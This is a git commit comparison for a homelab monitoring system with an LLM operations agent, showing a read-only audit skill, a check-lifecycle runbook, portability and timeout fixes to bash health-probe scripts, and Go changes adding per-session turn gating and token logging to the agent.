Compare commits
76 Commits
claude/fro
...
0dd8c28815
| Author | SHA1 | Date | |
|---|---|---|---|
| 0dd8c28815 | |||
| 4e294b3630 | |||
| 85f0bb67fa | |||
| c3f478b8f8 | |||
| 1aaedf498a | |||
| 20adb89650 | |||
| 058f1afcdc | |||
| 2b73290994 | |||
| 428f4fe945 | |||
| 195d45a0e9 | |||
| 5b68bdc16c | |||
| 757ef2f34b | |||
| b27e1bf3ec | |||
| 39e9227fdb | |||
| bb05f215c6 | |||
| 467589d78a | |||
| e25e979757 | |||
| bc0ccb4cdc | |||
| c9a00a9532 | |||
| eb16796bf0 | |||
| a3914a1d41 | |||
| 8eb1ca2bac | |||
| e4104eb344 | |||
| 0929c17cbb | |||
| 6487032461 | |||
| fb6b6f9160 | |||
| 62c9fc5c86 | |||
| 6007e922b4 | |||
| 2d8eb91b25 | |||
| 3d88f52988 | |||
| 9016c3a43b | |||
| 04775192c1 | |||
| a104cb4bb4 | |||
| 72f0f46528 | |||
| b87735a111 | |||
| 1540f74342 | |||
| c7729b2ef6 | |||
| b8b4aa2aee | |||
| c10f6920cd | |||
| ad29295c93 | |||
| 6ca6d5b352 | |||
| af450dac2a | |||
| 6ed9dc39e8 | |||
| cc8eae4979 | |||
| 4f706fa65f | |||
| 50e899e5ee | |||
| 42751623ea | |||
| 98e19bb14a | |||
| d7b526a112 | |||
| 1dca2cfd7a | |||
| 7e1ccad5f4 | |||
| 89312a9ce4 | |||
| ce0e4142ff | |||
| 873b00ac42 | |||
| b345783eef | |||
| 29d5cb8b85 | |||
| 8f440c5ad5 | |||
| 4e4e2c169c | |||
| c151a66627 | |||
| 1c12d40712 | |||
| 482c7f3448 | |||
| 50aed11cc4 | |||
| ccbf6a8aac | |||
| ef2956619f | |||
| dffe01fb02 | |||
| 0f9e366ad5 | |||
| 052230209c | |||
| e5a81241b7 | |||
| 6b6bfe1fd8 | |||
| ce34cfeac7 | |||
| 55b93c59ef | |||
| eb3d2de1ca | |||
| d82095213a | |||
| 7b1dfbc8aa | |||
| f1cdf4ea13 | |||
| e055a7c6ce |
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
---
|
||||||
|
name: knowledge-graph-audit
|
||||||
|
risk_class: read_only
|
||||||
|
inputs: []
|
||||||
|
verification: "audit_knowledge_graph returns a report with summary.total_findings"
|
||||||
|
docs_update_checklist: []
|
||||||
|
---
|
||||||
|
|
||||||
|
# Knowledge-graph audit
|
||||||
|
|
||||||
|
Goal: validate that the knowledge graph (entities, relationships, checks) and
|
||||||
|
the monitoring built on it reflect live reality — without mutating anything.
|
||||||
|
Read-only. Run this before trusting health, blast-radius, or coverage answers,
|
||||||
|
and whenever something feels off (a healthy host reports `down`, a retired
|
||||||
|
service still alarms, the graph looks thin).
|
||||||
|
|
||||||
|
## 1. Run the drift report
|
||||||
|
|
||||||
|
Call MCP `audit_knowledge_graph` (or `GET /api/v1/audit/drift`). It returns a
|
||||||
|
ranked list of findings, each with `{category, severity, count, entities,
|
||||||
|
evidence, suggested_runbook}`, plus a `summary` with totals by category.
|
||||||
|
|
||||||
|
The DB-side categories:
|
||||||
|
|
||||||
|
- **orphan_checks** — check entities with truncated/random slugs left by the
|
||||||
|
old `shortSlug()` collision bug. Remediation: `scripts/cleanup-orphan-checks.sh`.
|
||||||
|
- **dead_checks** — enabled `check_defs` whose target entity is `deprecated`/
|
||||||
|
`destroyed`. Remediation: `lifecycle-deprecate-node` / `lifecycle-destroy-node`
|
||||||
|
(the scheduler already skips these, but the rows should be retired).
|
||||||
|
- **down_checks** — enabled probes reporting `down`. Remediation:
|
||||||
|
`service-health-check` (then check whether the failure is real or a
|
||||||
|
probe-config/routing problem — see step 3).
|
||||||
|
- **unknown_checks** — probes that ran but reported `unknown` (usually a
|
||||||
|
misconfigured or not-yet-deployed probe script).
|
||||||
|
- **unmonitored** — active entities whose type declares monitoring but have no
|
||||||
|
enabled `check_def`.
|
||||||
|
- **dangling_edges** — live `hosts`/`provides`/`mounts` edges still pointing at
|
||||||
|
destroyed/deprecated targets. Remediation: `lifecycle-destroy-node`.
|
||||||
|
|
||||||
|
## 2. Triage
|
||||||
|
|
||||||
|
`severity: critical` (down_checks) first. For each finding, read `evidence` and
|
||||||
|
open the entities with `get_entity` / `get_relations` to confirm the diagnosis
|
||||||
|
before acting — the report is a pointer, not a verdict.
|
||||||
|
|
||||||
|
## 3. Common probe-failure causes
|
||||||
|
|
||||||
|
A `down_checks` finding that is NOT a real outage is usually one of:
|
||||||
|
|
||||||
|
- **Guest reached wrong** — an LXC/VM check SSHed the guest directly instead of
|
||||||
|
routing through its Proxmox host. Confirm with `get_relations` that a `hosts`
|
||||||
|
edge exists and the guest has `pve_id`; checks route via `pct exec`/`qm guest
|
||||||
|
exec` automatically when both are present.
|
||||||
|
- **Script not deployed** — the probe script is absent at `/opt/oikos/checks/`
|
||||||
|
inside the target. Remediation: redeploy via `tools/deploy-checks.sh`.
|
||||||
|
- **macOS host** — a workstation check used the wrong SSH user or a Linux-only
|
||||||
|
script flag. The scheduler resolves `user: dtoro` from the entity attribute.
|
||||||
|
|
||||||
|
## 4. What this audit does NOT cover (follow-ups)
|
||||||
|
|
||||||
|
Live-infrastructure discovery has its own tool — run **`discover_infra_drift`**
|
||||||
|
alongside this one. It compares running Proxmox guests (`pct`/`qm list` on every
|
||||||
|
proxmox host) against the DB graph and returns:
|
||||||
|
|
||||||
|
- **missing entities** — a guest running in Proxmox with no DB entity.
|
||||||
|
- **ghost entities** — a DB lxc/vm whose `pve_id` is no longer live.
|
||||||
|
|
||||||
|
Still manual until that machinery lands:
|
||||||
|
|
||||||
|
- **Misplaced parent** — compare each guest's actual Proxmox host against its
|
||||||
|
`hosts` edge (migrations leave these stale).
|
||||||
|
- **Undeployed scripts** — per-guest `/opt/oikos/checks/` presence.
|
||||||
|
- **Unmodeled certs** — now modeled; verify with `audit_knowledge_graph` /
|
||||||
|
the cert-expiry checks.
|
||||||
|
- **Seed drift** — run `oikos export` and `git diff seeds/` to find
|
||||||
|
runtime-created entities not in version control.
|
||||||
|
|
||||||
|
## 5. Acting on findings
|
||||||
|
|
||||||
|
This skill is read-only — make no changes here. Route each confirmed finding to
|
||||||
|
its `suggested_runbook`, classify the action against `seeds/policy.yaml`, and
|
||||||
|
proceed through the normal lifecycle/approval flow. Re-run the audit afterward
|
||||||
|
to confirm the finding cleared.
|
||||||
|
|
||||||
|
Docs-update checklist: none — the audit reads state; it changes nothing. If a
|
||||||
|
finding reveals stale `risk_notes` or a wrong `doc_page`, fix `inventory.yaml`
|
||||||
|
in that remediation session.
|
||||||
12
.dockerignore
Normal file
12
.dockerignore
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
# Every docker build in this repo previously sent the whole directory as
|
||||||
|
# build context — including every OTHER git worktree under .claude/worktrees/
|
||||||
|
# (each with its own web/node_modules, ~200-300MB apiece). That's what
|
||||||
|
# starved the mac-mini's disk mid-build on 2026-07-27 (SHA 873b00a): the
|
||||||
|
# context alone crossed 390MB of pure worktree cruft before the host ran out
|
||||||
|
# of space. None of this ever belonged in an image.
|
||||||
|
.claude/worktrees/
|
||||||
|
.git/
|
||||||
|
**/node_modules/
|
||||||
|
**/dist/
|
||||||
|
**/build/
|
||||||
|
*.log
|
||||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -24,3 +24,7 @@ cmd/desktop/build/
|
|||||||
cmd/desktop/Oikos
|
cmd/desktop/Oikos
|
||||||
desktop
|
desktop
|
||||||
/eval
|
/eval
|
||||||
|
|
||||||
|
# Local tooling artifacts (Playwright MCP session logs, stray screenshots)
|
||||||
|
.playwright-mcp/
|
||||||
|
config-screen.png
|
||||||
|
|||||||
@@ -2284,6 +2284,23 @@ components:
|
|||||||
type: boolean
|
type: boolean
|
||||||
version:
|
version:
|
||||||
type: integer
|
type: integer
|
||||||
|
last_health:
|
||||||
|
type: string
|
||||||
|
description: >-
|
||||||
|
This check's own most recent verdict. An entity's health is the
|
||||||
|
worst of these across its enabled checks, so this is what explains
|
||||||
|
*why* an entity is degraded. Null until the check first runs.
|
||||||
|
nullable: true
|
||||||
|
enum:
|
||||||
|
- healthy
|
||||||
|
- degraded
|
||||||
|
- down
|
||||||
|
- unknown
|
||||||
|
last_run_at:
|
||||||
|
type: string
|
||||||
|
format: date-time
|
||||||
|
description: When this check last executed. Null = never run.
|
||||||
|
nullable: true
|
||||||
CheckCreate:
|
CheckCreate:
|
||||||
type: object
|
type: object
|
||||||
required:
|
required:
|
||||||
|
|||||||
104
archive/knowledge/infrastructure/oikos-check-lifecycle.md
Normal file
104
archive/knowledge/infrastructure/oikos-check-lifecycle.md
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
# Oikos check lifecycle — how monitoring works
|
||||||
|
|
||||||
|
This runbook covers how Oikos health checks are derived, created, and wired so
|
||||||
|
an agent (Nomos) doesn't reverse-engineer source when asked to add monitoring to
|
||||||
|
an entity — the problem that stranded session `23da10db` (2026-08-03).
|
||||||
|
|
||||||
|
## Concepts
|
||||||
|
|
||||||
|
- **`check_defs`** (scheduler config, table `check_defs`): the row the scheduler
|
||||||
|
reads to know *what* to probe and *when*. One per check instance.
|
||||||
|
- **`check` entity** (type `check`, slug `check:<kind>:<target>:<n>`): the
|
||||||
|
knowledge-graph entity for that check. It carries attributes
|
||||||
|
(`check_type`, `target`, `port`, …) and `checks` edges to the probed target.
|
||||||
|
- **`monitoring` spec** on an entity type (`entity_types.monitoring_spec`): the
|
||||||
|
default list of check kinds (e.g. `[http, process]` for `service`).
|
||||||
|
- Per-entity override: set `monitoring` in the entity's attributes —
|
||||||
|
`"none"` for zero checks, `["http"]` to replace the type defaults.
|
||||||
|
- **`checkdefaults.Ensure`** (`internal/checkdefaults/defaults.go`): the
|
||||||
|
function that reads the monitoring spec, resolves host/port/URL from
|
||||||
|
attributes + relationships, and writes `check_defs` rows. Idempotent.
|
||||||
|
|
||||||
|
## When checks are derived
|
||||||
|
|
||||||
|
`checkdefaults.Ensure` runs in three situations (as of v0.17.1+):
|
||||||
|
|
||||||
|
1. **Seed/deploy ingest** — `internal/db/seed.go:231`. Every entity gets its
|
||||||
|
default checks once on initial ingest.
|
||||||
|
2. **HTTP `POST /api/v1/entities` (create)** — `ensureDefaultChecks` at
|
||||||
|
`internal/httpapi/impl.go:1012`. Creating an entity via the REST API derives
|
||||||
|
its checks in the same transaction.
|
||||||
|
3. **HTTP `PATCH /api/v1/entities` (patch)** — `ensureDefaultChecks` at
|
||||||
|
`internal/httpapi/impl.go:1280`. Changing an entity's attributes (especially
|
||||||
|
`monitoring`) via the REST API regenerates its checks.
|
||||||
|
4. **MCP `create_entity`** — SAME hook. Creating an entity via the MCP tool
|
||||||
|
derives checks. (Added 2026-08-03; previously MCP had no create.)
|
||||||
|
5. **MCP `update_entity_attributes`** — SAME hook. Changing an entity's
|
||||||
|
`monitoring` attribute via MCP now regenerates checks. (Added 2026-08-03;
|
||||||
|
previously MCP updates silently skipped check derivation — the exact bug
|
||||||
|
that stranded the haos session.)
|
||||||
|
|
||||||
|
## Check slug grammar
|
||||||
|
|
||||||
|
```
|
||||||
|
check:<kind>:<target-type>:<target-name>:<n>
|
||||||
|
```
|
||||||
|
|
||||||
|
Examples: `check:http:service:jellyfin:0`, `check:vm-status:vm:haos:0`,
|
||||||
|
`check:cert-expiry:cert:house.hubris.network:0`.
|
||||||
|
|
||||||
|
## Adding monitoring to an entity
|
||||||
|
|
||||||
|
**If the entity already exists:**
|
||||||
|
|
||||||
|
```
|
||||||
|
update_entity_attributes(slug="service:haos", attributes={"monitoring":["http"]})
|
||||||
|
```
|
||||||
|
|
||||||
|
This regenerates checks via `checkdefaults.Ensure`. The result message tells you
|
||||||
|
how many checks were derived and whether any kinds were skipped (and why).
|
||||||
|
|
||||||
|
**If the entity does not exist yet (a new check, ingress, cert, etc.):**
|
||||||
|
|
||||||
|
```
|
||||||
|
create_entity(type="check", name="HAOS http check",
|
||||||
|
slug="check:http:service:haos:0",
|
||||||
|
attributes={"check_type":"http:service","target":"service:haos","port":"8123"})
|
||||||
|
```
|
||||||
|
|
||||||
|
This creates the entity AND derives its `check_defs`. Same for a new `ingress`
|
||||||
|
(`type=ingress`, monitoring `[http]`) or `cert` (`type=cert`,
|
||||||
|
monitoring `[cert-expiry]`).
|
||||||
|
|
||||||
|
**To remove monitoring:** set `monitoring:["none"]` or transition the entity
|
||||||
|
to a terminal lifecycle state (`set_entity_state` → `deprecated`/`destroyed`).
|
||||||
|
|
||||||
|
## Caveats
|
||||||
|
|
||||||
|
- **A service without a `url` attribute AND without a `probe_unit` gets no
|
||||||
|
process check** (the http check covers liveness; the process check would
|
||||||
|
be redundant without an opt-in `probe_unit`). The skip is logged.
|
||||||
|
- **A service whose address comes from a `hosts` edge** may produce no checks on
|
||||||
|
initial create because the edge doesn't exist yet — the next inventory ingest
|
||||||
|
(or a later `update_entity_attributes` after the edge is created) fills it in.
|
||||||
|
- **A `not found` error from `update_entity_attributes`** means the entity
|
||||||
|
doesn't exist — use `create_entity` instead.
|
||||||
|
- **`check_defs` has target columns** (`target_id`, `target_type`). A check
|
||||||
|
entity needs a `checks` relationship (`create_relationship(source=check:…,
|
||||||
|
target=service:…, type="checks")`) so the scheduler can resolve what to
|
||||||
|
probe. `create_entity` derives the check_def; `create_relationship` links
|
||||||
|
the check entity to its target in the graph.
|
||||||
|
|
||||||
|
## Related files
|
||||||
|
|
||||||
|
- `internal/checkdefaults/defaults.go` — `Ensure`, `Target`, `LogResult`
|
||||||
|
- `internal/httpapi/default_checks.go` — `ensureDefaultChecks` (HTTP hook)
|
||||||
|
- `internal/db/checks.go` — `db.EnsureEntityChecks` (shared hook)
|
||||||
|
- `internal/db/seed.go` — seed-time check derivation
|
||||||
|
- `internal/mcp/tools.go` — `create_entity`, `update_entity_attributes`
|
||||||
|
|
||||||
|
## Revision history
|
||||||
|
|
||||||
|
- **2026-08-03:** Created after session `23da10db` stranded for lack of entity-
|
||||||
|
creation tool and unawareness of check-derivation triggers. Covers the MCP
|
||||||
|
create_entity + update_entity_attributes regen paths added same day.
|
||||||
@@ -2,12 +2,27 @@
|
|||||||
# cpu_check.sh — CPU usage % and thermal temperature.
|
# cpu_check.sh — CPU usage % and thermal temperature.
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
os=$(uname -s)
|
||||||
if [ -z "$USAGE" ]; then
|
|
||||||
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
if [ "$os" = "Darwin" ]; then
|
||||||
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
# `top -l 1 -n 0` prints "CPU usage: X% user, Y% sys, Z% idle".
|
||||||
|
# Usage is 100 minus the idle figure that precedes the literal `idle`.
|
||||||
|
USAGE=$(top -l 1 -n 0 -s 0 2>/dev/null | awk '
|
||||||
|
/^CPU usage/ {
|
||||||
|
for (i = 1; i <= NF; i++) {
|
||||||
|
if ($i == "idle") { gsub(/%/, "", $(i - 1)); printf "%.1f", 100 - $(i - 1) }
|
||||||
|
}
|
||||||
|
}' || true)
|
||||||
|
else
|
||||||
|
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
||||||
|
if [ -z "$USAGE" ]; then
|
||||||
|
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
||||||
|
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
||||||
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
[ -z "$USAGE" ] && USAGE=0
|
||||||
|
|
||||||
TEMP=""
|
TEMP=""
|
||||||
if [ -f /sys/class/thermal/thermal_zone0/temp ]; then
|
if [ -f /sys/class/thermal/thermal_zone0/temp ]; then
|
||||||
TEMP=$(awk '{printf "%.1f", $1/1000}' /sys/class/thermal/thermal_zone0/temp 2>/dev/null || true)
|
TEMP=$(awk '{printf "%.1f", $1/1000}' /sys/class/thermal/thermal_zone0/temp 2>/dev/null || true)
|
||||||
|
|||||||
22
checks/disk_usage_check.sh
Normal file → Executable file
22
checks/disk_usage_check.sh
Normal file → Executable file
@@ -2,18 +2,34 @@
|
|||||||
# disk_usage_check.sh — disk usage and inode usage per mountpoint.
|
# disk_usage_check.sh — disk usage and inode usage per mountpoint.
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
MOUNTS=$(df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
# `timeout` caps each df so a single hung/stale mountpoint (a stale NFS
|
||||||
|
# export, a wedged ZFS pool) can't stall the whole check — that hung the
|
||||||
|
# scheduler's 30s budget on hubris. Available on Linux (coreutils); absent on
|
||||||
|
# Darwin, whose local mounts don't hang, so it degrades to an empty prefix.
|
||||||
|
TO=""
|
||||||
|
if command -v timeout >/dev/null 2>&1; then TO="timeout 8"; fi
|
||||||
|
|
||||||
|
# Build the mount list WITHOUT statting anything: reading /proc/mounts never
|
||||||
|
# blocks the way `df` does on a stuck filesystem, so the enumeration itself
|
||||||
|
# can't hang. Fall back to `df` on hosts without /proc/mounts (macOS).
|
||||||
|
if [ -r /proc/mounts ]; then
|
||||||
|
MOUNTS=$(awk '$1 ~ /^\// && $2 !~ /^\/(snap|dev|proc|sys|run|private)/ {print $2}' /proc/mounts || true)
|
||||||
|
else
|
||||||
|
MOUNTS=$($TO df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
||||||
|
fi
|
||||||
FIRST=1
|
FIRST=1
|
||||||
|
|
||||||
echo -n '{"health":"healthy","metrics":{'
|
echo -n '{"health":"healthy","metrics":{'
|
||||||
for m in $MOUNTS; do
|
for m in $MOUNTS; do
|
||||||
LINE=$(df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
# Each df is bounded: a stuck mount times out and is skipped (LINE empty)
|
||||||
|
# rather than hanging the probe.
|
||||||
|
LINE=$($TO df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
||||||
if [ -z "$LINE" ]; then continue; fi
|
if [ -z "$LINE" ]; then continue; fi
|
||||||
USED=$(echo "$LINE" | awk '{print $1}')
|
USED=$(echo "$LINE" | awk '{print $1}')
|
||||||
FREE=$(echo "$LINE" | awk '{print $2}')
|
FREE=$(echo "$LINE" | awk '{print $2}')
|
||||||
PCT=$(echo "$LINE" | awk '{print $3}')
|
PCT=$(echo "$LINE" | awk '{print $3}')
|
||||||
|
|
||||||
INODE_LINE=$(df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
INODE_LINE=$($TO df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
||||||
INODE_PCT=$(echo "${INODE_LINE:-0}" | sed 's/-/0/')
|
INODE_PCT=$(echo "${INODE_LINE:-0}" | sed 's/-/0/')
|
||||||
|
|
||||||
KEY=$(echo "$m" | sed 's|/|_|g' | sed 's|^_||')
|
KEY=$(echo "$m" | sed 's|/|_|g' | sed 's|^_||')
|
||||||
|
|||||||
@@ -1,5 +1,17 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
# process_check.sh — systemd service liveness.
|
# process_check.sh — service liveness.
|
||||||
|
#
|
||||||
|
# A service entity's name is a logical label, rarely the literal systemd unit
|
||||||
|
# or container name. matrix = matrix-synapse.service + element-web/mautrix-*
|
||||||
|
# containers; authentik = authentik-server/-worker containers. So checking
|
||||||
|
# `systemctl is-active matrix` reports "inactive" for a healthy service.
|
||||||
|
#
|
||||||
|
# Resolution order, any hit = healthy:
|
||||||
|
# 1. exact systemd unit `systemctl is-active <name>`
|
||||||
|
# 2. a systemd unit with the name as prefix `<name>*.service`
|
||||||
|
# 3. a running docker container whose name contains <name>
|
||||||
|
# An explicit probe target overrides the label — see checkdefaults, which
|
||||||
|
# passes a `probe_unit`/`container`/`systemd_unit` attribute as $1 when set.
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
|
|
||||||
SERVICE="${1:-}"
|
SERVICE="${1:-}"
|
||||||
@@ -8,15 +20,31 @@ if [ -z "$SERVICE" ]; then
|
|||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if ! command -v systemctl >/dev/null 2>&1; then
|
ok() { echo "{\"health\":\"healthy\"}"; exit 0; }
|
||||||
echo '{"health":"unknown","signalKind":"process-check","evidence":"systemctl not found"}'
|
|
||||||
exit 0
|
# 1. exact systemd unit
|
||||||
|
if command -v systemctl >/dev/null 2>&1; then
|
||||||
|
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null | head -1 || true)
|
||||||
|
[ "$STATE" = "active" ] && ok
|
||||||
|
|
||||||
|
# 2. prefix match: matrix -> matrix-synapse.service, house -> house.service, etc.
|
||||||
|
# --no-legend strips the header/footer so grep can see the unit rows; the
|
||||||
|
# pattern is a systemd unit glob.
|
||||||
|
if systemctl list-units --type=service --state=active --no-legend "$SERVICE*.service" 2>/dev/null \
|
||||||
|
| grep -q '\.service'; then
|
||||||
|
ok
|
||||||
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null || echo "unknown")
|
# 3. a running docker container whose name contains the label.
|
||||||
|
if command -v docker >/dev/null 2>&1; then
|
||||||
if [ "$STATE" = "active" ]; then
|
if docker ps --filter "status=running" --filter "name=$SERVICE" --format '{{.Names}}' 2>/dev/null \
|
||||||
echo "{\"health\":\"healthy\"}"
|
| grep -q .; then
|
||||||
else
|
ok
|
||||||
echo "{\"health\":\"degraded\",\"signalKind\":\"$SERVICE\",\"evidence\":\"$SERVICE is $STATE\"}"
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
STATE=${STATE:-inactive}
|
||||||
|
STATE=${STATE//\"/}
|
||||||
|
SAFE_SERVICE=${SERVICE//\"/}
|
||||||
|
echo "{\"health\":\"degraded\",\"signalKind\":\"process\",\"evidence\":\"$SAFE_SERVICE is $STATE (no active unit/container matched)\"}"
|
||||||
|
|||||||
@@ -57,6 +57,13 @@ type agent struct {
|
|||||||
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
|
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
|
||||||
apiToken string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it (no dev-open bypass)
|
apiToken string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it (no dev-open bypass)
|
||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
|
// gate serializes turns per session (at most one in-flight turn per
|
||||||
|
// sessionID). See turngate.go and plan 2026-08-03 F1.
|
||||||
|
gate *turnGate
|
||||||
|
// queue holds operator messages that arrived while a turn was already
|
||||||
|
// running; they are auto-run when the gate frees (plan 2026-08-03 F2).
|
||||||
|
// See messagequeue.go.
|
||||||
|
queue *messageQueue
|
||||||
}
|
}
|
||||||
|
|
||||||
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
|
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
|
||||||
@@ -117,6 +124,8 @@ func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug
|
|||||||
apiBase: apiBase,
|
apiBase: apiBase,
|
||||||
apiToken: os.Getenv("OIKOS_MCP_BEARER_TOKEN"),
|
apiToken: os.Getenv("OIKOS_MCP_BEARER_TOKEN"),
|
||||||
httpClient: &http.Client{Timeout: 15 * time.Second},
|
httpClient: &http.Client{Timeout: 15 * time.Second},
|
||||||
|
gate: newTurnGate(),
|
||||||
|
queue: newMessageQueue(),
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -172,6 +181,11 @@ type agentEvent struct {
|
|||||||
Data any `json:"data,omitempty"`
|
Data any `json:"data,omitempty"`
|
||||||
SessionID string `json:"session_id,omitempty"`
|
SessionID string `json:"session_id,omitempty"`
|
||||||
Iteration int `json:"iteration,omitempty"`
|
Iteration int `json:"iteration,omitempty"`
|
||||||
|
// IsThinking marks text/text_delta events that carry the model's internal
|
||||||
|
// reasoning (text produced before tool calls in the same iteration), as
|
||||||
|
// distinct from the final response text. The frontend renders these as
|
||||||
|
// collapsible thinking blocks separated from the response.
|
||||||
|
IsThinking bool `json:"is_thinking,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(agentEvent)) {
|
func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(agentEvent)) {
|
||||||
@@ -368,7 +382,12 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
var msg openai.ChatCompletionMessage
|
var msg openai.ChatCompletionMessage
|
||||||
var acc openai.ChatCompletionAccumulator
|
var acc openai.ChatCompletionAccumulator
|
||||||
|
|
||||||
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
|
// Capture token usage from this LLM response for activity logging.
|
||||||
|
// Previously always NULL — every agent_activity row had no token
|
||||||
|
// count. Now each tool call in this iteration gets the same total.
|
||||||
|
totalTokens := 0
|
||||||
|
|
||||||
|
for attempt := 0; attempt <= maxLLMRetries; attempt++ {
|
||||||
acc = openai.ChatCompletionAccumulator{}
|
acc = openai.ChatCompletionAccumulator{}
|
||||||
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
|
stream := a.provider.Chat.Completions.NewStreaming(ctx, params, a.reqOpts...)
|
||||||
for stream.Next() {
|
for stream.Next() {
|
||||||
@@ -400,14 +419,19 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
msg = acc.Choices[0].Message
|
msg = acc.Choices[0].Message
|
||||||
finishReason := acc.Choices[0].FinishReason
|
finishReason := acc.Choices[0].FinishReason
|
||||||
|
|
||||||
|
// Capture token usage from this iteration.
|
||||||
|
if acc.Usage.TotalTokens > 0 {
|
||||||
|
totalTokens = int(acc.Usage.TotalTokens)
|
||||||
|
}
|
||||||
|
|
||||||
if len(msg.ToolCalls) == 0 {
|
if len(msg.ToolCalls) == 0 {
|
||||||
if isRefusalOrEmpty(msg.Content) {
|
if isRefusalOrEmpty(msg.Content) {
|
||||||
if attempt < maxLLMRetries {
|
if attempt < maxLLMRetries {
|
||||||
slog.Warn("nomos: empty or refusal response, retrying",
|
slog.Warn("nomos: empty or refusal response, retrying",
|
||||||
"session", sessionID, "iter", i+1, "attempt", attempt+1,
|
"session", sessionID, "iter", i+1, "attempt", attempt+1,
|
||||||
"content_len", len(msg.Content), "finish_reason", finishReason)
|
"content_len", len(msg.Content), "finish_reason", finishReason)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
// B.4: surface the real error context (finish_reason +
|
// B.4: surface the real error context (finish_reason +
|
||||||
// refusal text) instead of a generic "empty response" —
|
// refusal text) instead of a generic "empty response" —
|
||||||
// the operator can tell "content_filter — rephrase" from
|
// the operator can tell "content_filter — rephrase" from
|
||||||
@@ -456,7 +480,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
// led to each step. Emitting it lets the persist layer accumulate
|
// led to each step. Emitting it lets the persist layer accumulate
|
||||||
// per-iteration reasoning into the row's text field.
|
// per-iteration reasoning into the row's text field.
|
||||||
if strings.TrimSpace(msg.Content) != "" {
|
if strings.TrimSpace(msg.Content) != "" {
|
||||||
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
|
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID, IsThinking: true})
|
||||||
}
|
}
|
||||||
|
|
||||||
slog.Info("nomos: tool calls", "count", len(msg.ToolCalls), "iter", i+1, "correlation", correlationID)
|
slog.Info("nomos: tool calls", "count", len(msg.ToolCalls), "iter", i+1, "correlation", correlationID)
|
||||||
@@ -491,7 +515,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
slog.Warn("nomos: run retry cap hit — refusing dispatch",
|
slog.Warn("nomos: run retry cap hit — refusing dispatch",
|
||||||
"target", t, "failures", n, "session", sessionID)
|
"target", t, "failures", n, "session", sessionID)
|
||||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args,
|
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args,
|
||||||
tc.Function.Arguments, directive, 0, false, correlationID)
|
tc.Function.Arguments, directive, 0, false, correlationID, totalTokens)
|
||||||
emit(agentEvent{
|
emit(agentEvent{
|
||||||
Type: "tool_result",
|
Type: "tool_result",
|
||||||
Data: map[string]any{"name": tc.Function.Name, "result": directive, "id": tc.ID, "retry_capped": true},
|
Data: map[string]any{"name": tc.Function.Name, "result": directive, "id": tc.ID, "retry_capped": true},
|
||||||
@@ -542,7 +566,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
inputStr := string(inputJSON)
|
inputStr := string(inputJSON)
|
||||||
|
|
||||||
if callErr != nil {
|
if callErr != nil {
|
||||||
